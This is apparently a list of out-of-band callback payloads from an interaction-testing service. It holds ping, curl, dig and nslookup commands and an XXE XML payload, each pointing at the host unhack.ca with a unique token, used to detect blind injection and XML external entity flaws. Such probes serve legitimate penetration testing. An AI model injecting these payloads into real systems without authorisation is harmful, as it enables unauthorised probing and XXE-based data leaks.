$ ping -c1 -p 00fe952c4314713120cf1e92ebdf0600 unhack.ca
 

$ curl http://unhack.ca/p/fe952c4314713120cf1e92ebdf06
 

$ dig fe952c4314713120cf1e92ebdf06 @unhack.ca
 

$ dig fe952c4314713120cf1e92ebdf06.ns.unhack.ca
 

C:\> nslookup fe952c4314713120cf1e92ebdf06 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fe952c4314713120cf1e92ebdf06">]>
    <foo>&xxe;</foo>